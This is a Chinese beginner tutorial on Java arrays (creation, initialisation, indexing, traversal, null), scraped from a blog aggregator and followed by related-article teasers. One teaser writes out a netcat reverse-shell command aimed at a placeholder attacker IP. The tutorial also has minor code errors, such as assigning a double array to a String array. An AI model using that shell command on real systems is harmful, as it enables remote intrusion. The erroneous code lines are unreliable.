【JAVA】数组的定义与使用

        前一篇我们讲述了方法的使用和递归,这一讲 我们来叙述一下数组相关知识点。最近更新较快,大家紧跟步伐哦~~

1. 数组的基本概念

1.1 为什么要使用数组

        假设现在要存5个学生的javaSE考试成绩,并对其进行输出,按照之前掌握的知识点,我么会写出如下代码:

public class TestStudent{public static void main(String[] args){int score1 = 70;int score2 = 80;int score3 = 85;int score4 = 60;int score5 = 90;System.out.println(score1);System.out.println(score2);System.out.println(score3);System.out.println(score4);System.out.println(score5);}
}

        上述代码没有任何问题,但不好的是:如果有20名同学成绩呢,需要创建20个变量吗?有100个学生的成绩那不得要创建100个变量。仔细观察这些学生成绩发现:所有成绩的类型都是相同的,那Java中存在可以存储相同类型多个数据的类型吗?这就是本节要将的数组。

1.2 什么是数组

数组:可以看成是相同类型元素的一个集合。在内存中是一段连续的空间。

在java中,元素的数组特点:

  1. 数组中存放的元素其类型相同
  2. 数组的空间是连在一起的
  3. 每个空间有自己的编号,其实位置的编号为0,即数组的下标

1.3 数组的创建及初始化

1.3.1 数组的创建

T[] 数组名 = new T[N];

T:表示数组中存放元素的类型

T[]:表示数组的类型

N:表示数组的长度

int[] array1 = new int[10]; // 创建一个可以容纳10个int类型元素的数组double[] array2 = new double[5]; // 创建一个可以容纳5个double类型元素的数组String[] array3 = new double[3]; // 创建一个可以容纳3个字符串元素的数组

1.3.2 数组的初始化

数组的初始化主要分为动态初始化以及静态初始化。

1. 动态初始化:在创建数组时,直接指定数组中元素的个数

int[] array = new int[10];

2. 静态初始化:在创建数组时不直接指定数据元素个数,而直接将具体的数据内容进行指定
语法格式:

T[] 数组名称 = {data1, data2, data3, ..., datan};

【注意事项】

  • 静态初始化虽然没有指定数组的长度,编译器在编译时会根据{}中元素个数来确定数组的长度。
  • 静态初始化时, {}中数据类型必须与[]前数据类型一致。静态初始化可以简写,省去后面的new T[]。
  • // 注意:虽然省去了new T[], 但是编译器编译代码时还是会还原
    int[] array1 = {0,1,2,3,4,5,6,7,8,9};
    double[] array2 = {1.0, 2.0, 3.0, 4.0, 5.0};
    String[] array3 = {"hell", "Java", "!!!"};

  • 数组也可以按照如下C语言个数创建,不推荐
  • /*
    该种定义方式不太友好,容易造成数组的类型就是int的误解
    []如果在类型之后,就表示数组类型,因此int[]结合在一块写意思更清晰
    */
    int arr[] = {1, 2, 3};

  • 静态和动态初始化也可以分为两步,但是省略格式不可以。
  • int[] array1;
    array1 = new int[10];
    int[] array2;
    array2 = new int[]{10, 20, 30};
    // 注意省略格式不可以拆分, 否则编译失败
    // int[] array3;
    // array3 = {1, 2, 3};

  • 如果没有对数组进行初始化,数组中元素有其默认值
  • 如果数组中存储元素类型为基类类型,默认值为基类类型对应的默认值,比如:
  • 如果数组中存储元素类型为引用类型,默认值为null
     

1.4 数组的使用

1.4.1 数组中元素访问

        数组在内存中是一段连续的空间,空间的编号都是从0开始的,依次递增,该编号称为数组的下标,数组可以通过下标访问其任意位置的元素。比如:

int[]array = new int[]{10, 20, 30, 40, 50};
System.out.println(array[0]);
System.out.println(array[1]);
System.out.println(array[2]);
System.out.println(array[3]);
System.out.println(array[4]);
// 也可以通过[]对数组中的元素进行修改
array[0] = 100;
System.out.println(array[0]);

【注意事项】

  1. 数组是一段连续的内存空间,因此支持随机访问,即通过下标访问快速访问数组中任意位置的元素
  2. 下标从0开始,介于[0, N)之间不包含N,N为元素个数,不能越界,否则会报出下标越界异常。
int[] array = {1, 2, 3};
System.out.println(array[3]); // 数组中只有3个元素,下标一次为:0 1 2,array[3]下标越界// 执行结果
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 100
at Test.main(Test.java:4)

        抛出了 java.lang.ArrayIndexOutOfBoundsException 异常. 使用数组一定要下标谨防越界

1.4.2 遍历数组

        所谓 "遍历" 是指将数组中的所有元素都访问一遍, 访问是指对数组中的元素进行某种操作,比如:打印。

int[]array = new int[]{10, 20, 30, 40, 50};
System.out.println(array[0]);
System.out.println(array[1]);
System.out.println(array[2]);
System.out.println(array[3]);
System.out.println(array[4]);

上述代码可以起到对数组中元素遍历的目的,但问题是:

  1. 如果数组中增加了一个元素,就需要增加一条打印语句
  2. 如果输入中有100个元素,就需要写100个打印语句
  3. 如果现在要把打印修改为给数组中每个元素加1,修改起来非常麻烦。

通过观察代码可以发现,对数组中每个元素的操作都是相同的,则可以使用循环来进行打印。

int[]array = new int[]{10, 20, 30, 40, 50};
for(int i = 0; i < 5; i++){System.out.println(array[i]);
}

改成循环之后,上述三个缺陷可以全部2和3问题可以全部解决,但是无法解决问题1。那能否获取到数组的长度呢?

注意:在数组中可以通过 数组对象.length 来获取数组的长度

int[]array = new int[]{10, 20, 30, 40, 50};
for(int i = 0; i < array.length; i++){System.out.println(array[i]);
}

也可以使用 for-each 遍历数组

int[] array = {1, 2, 3};
for (int x : array) {System.out.println(x);
}

for-each 是 for 循环的另外一种使用方式. 能够更方便的完成对数组的遍历. 可以避免循环条件和更新语句写错.

2. 数组是引用类型

2.1 初始JVM的内存分布

内存是一段连续的存储空间,主要用来存储程序运行时数据的。比如:

  1. 程序运行时代码需要加载到内存
  2. 程序运行产生的中间数据要存放在内存
  3. 程序中的常量也要保存
  4. 有些数据可能需要长时间存储,而有些数据当方法运行结束后就要被销毁

2.2 基本类型变量与引用类型变量的区别

基本数据类型创建的变量,称为基本变量,该变量空间中直接存放的是其所对应的值;

而引用数据类型创建的变量,一般称为对象的引用,其空间中存储的是对象所在空间的地址。

public static void func() {int a = 10;int b = 20;int[] arr = new int[]{1,2,3};
}

在上述代码中,a、b、arr,都是函数内部的变量,因此其空间都在main方法对应的栈帧中分配。

a、b是内置类型的变量,因此其空间中保存的就是给该变量初始化的值。

array是数组类型的引用变量,其内部保存的内容可以简单理解成是数组在堆空间中的首地址。

2.3 认识 null

null 在 Java 中表示 "空引用" , 也就是一个不指向对象的引用.

int[] arr = null;
System.out.println(arr[0]);// 执行结果
Exception in thread "main" java.lang.NullPointerException
at Test.main(Test.java:6)

null 的作用类似于 C 语言中的 NULL (空指针), 都是表示一个无效的内存位置. 因此不能对这个内存进行任何读写操作. 一旦尝试读写, 就会抛出 NullPointerException.

注意: Java 中并没有约定 null 和 0 号地址的内存有任何关联.

        数组先讲到这里,下一篇我们接着说说数组的应用,还有一些例子,感兴趣的小伙伴记得点赞加关注。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12344.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

obsidian 外观设置解毒

前言 一入obsidian深似海&#xff0c;外观设置也是五花八门&#xff0c;仿佛回到读书时期折腾桌面一样。 我对比了AnuPpuccin、minimal和其他的一些外观主题&#xff0c;设置都太复杂了&#xff0c;尤其是需要调整CSS文件&#xff0c;最后发现一款&#xff0c;非常好用&#…

数据传送指令

数据传送&#xff1a;负责把数据、地址或立即数传送到寄存器或存储单元中 数据传送指令可以分为四个类型&#xff1a;通用数据传送指令、地址传送指令、标志位传送指令、专用累加器传送指令(输入、输出指令) 一、通用数据传送指令 &#xff08;一&#xff09;传送字或字节指…

前端框架-echarts

Echarts 项目中要使用到echarts框架&#xff0c;从零开始在csdn上记笔记。 这是一个基础的代码&#xff0c;小白入门看一下 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" co…

刷题之找到字符串所有字母异位词

找到字符串所有字母异位词 滑动窗口。滑动窗口大小为待比较数组的大小。 class Solution { public:vector<int> findAnagrams(string s, string p) {//滑动窗口vector<int>result;if(s.size()<p.size())return result;vector<int>pnum(26,0);//记录p的字…

链表----带环链表快慢指针进阶版

1.带环链表及其拓展 &#xff08;1&#xff09;这个题目组要就是进行判断这个链表是否带环&#xff0c;使用的是布尔类型作为返回值&#xff1b; &#xff08;2&#xff09;我们这里的思路是使用的快慢指针&#xff0c;快指针一次走2步&#xff0c;慢指针一次走1步&#xff0c…

思维导图软件哪个好?5个软件教你自己快速制作思维导图

思维导图软件哪个好&#xff1f;5个软件教你自己快速制作思维导图 思维导图软件在现代生活和工作中扮演着重要的角色&#xff0c;它们可以帮助人们整理思维、规划项目、记录笔记等。以下是五款值得推荐的思维导图软件&#xff0c;它们各有特色&#xff0c;可以帮助您快速制作思…

嵌入式Linux:编译和使用Protobuf库

目录 1、开发环境和工具 2、安装和编译Protobuf、Protobuf-C库 3、编写和编译proto文件 4、修改makefile文件 5、测试示例 6、参考资料 Protobuf&#xff08;Protocol Buffers&#xff09;是由 Google 开发的一种轻量级、高效的结构化数据序列化方式&#xff0c;用于在不同应用…

Charger之三动态电源路径管理(DPPM)

-----本文简介----- 主要内容包括&#xff1a; 领资料&#xff1a;点下方↓名片关注回复&#xff1a;粉丝群 硬件之路学习笔记公众号 Charger的动态电源路径管理&#xff08;DPPM&#xff09; 前篇内容&#xff1a;①电池管理IC&#xff08;Charger&#xff09;了解一下&…

基于java 自定义注解Annotation设计简单ORM框架——进阶篇

目录 引言实例新建两个注解标注实体类拼接sql语句 总结 引言 一般Java规范编程&#xff08;只是一种习惯&#xff0c;而不是强制&#xff09;中&#xff0c;变量的命名方式一般采用驼峰式命名。比如userName&#xff0c;userImage。但是在数据库中一般不会采用驼峰式&#xff…

AIGC、LLM 加持下的地图特征笔记内容生产系统架构设计

文章目录 背景构建自动化内容生产平台系统架构设计架构详细设计流程介绍笔记来源笔记抓取干预 笔记 AIGC 赋能笔记 Rule 改写笔记特征库构建 附录Bash Cron 定时任务Golang 与 Pyhon AIGC 实践 小结 背景 在大模型的浪潮下&#xff0c;ChatGPT、Sora、Gemini、文言一心 等新技…

[MRCTF2020]PixelShooter

是个安卓游戏题 re手肯定不会去玩游戏&#xff0c;先jadx分析一波 没有什么关键信息&#xff0c;但找到了一个unity类&#xff0c;想到apk也可以解压缩得到 .so 或者 Assembly-CSharp.dll 故又在dnspy分析一下 看了半天没有和flag有关信息&#xff0c;看wp&#xff1a; Asse…

用面向对象的思想编写实时嵌入式C程序

实时嵌入式系统的软件一般由C语言编写&#xff0c;程序结构基本上都是这样的&#xff1a; // 主程序 int main(void) {init(); // 初始化while(1){tick(); // 业务逻辑}return 0; }// 计时器 static unsigned int g_timer_tick_cnt 0; // 时钟中断回调 void isr_time…

【工作篇】软件工程师的知识基础(持续更新)

目录 1. linux 知识篇 1. linux 知识篇 1. Linux API 是什么 Linux API 是指 Linux 操作系统 提供的应用程序接口&#xff0c;用于与操作系统进行交互。它包含了一系列的函数、系统调用、库函数和数据结构&#xff0c;用于实现各种系统级的操作&#xff0c;如文件操作、进程…

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

海南省薪鑫网络科技有限公司:引领智能剪辑纪元!

在数字化浪潮的激荡下&#xff0c;海南省薪鑫网络科技有限公司凭借其尖端技术实力&#xff0c;正引领着内容创作行业迈向一个崭新的智能剪辑纪元。这一划时代的变革&#xff0c;源于公司精心打造的AI剪辑软件&#xff0c;它不仅为剪辑工作赋予了新的高度&#xff0c;也为广大创…

RK3566(泰山派):3.1寸屏幕D310T9362V1SPEC触摸驱动(竖屏)

RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09; 文章目录 RK3566&#xff08;泰山派&#xff09;&#xff1a;3.1寸屏幕D310T9362V1SPEC触摸驱动&#xff08;竖屏&#xff09;电路配置i2c1设备树创建驱动编写…

算法分析与设计复习__渐近+复杂度

算法v.s.程序: 程序 数据结构 算法&#xff1b; 1.时空复杂度T(n)/O(n)&#xff08;衡量一个算法的优劣&#xff09; 1.1最坏/最好/平均(所有输入等概出现)时间复杂度; 1.1.1 E.g.手算某算法&#xff08;冒泡排序&#xff09;程序段的T,O; 1.2算法的渐近表示&#xff1b; …

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…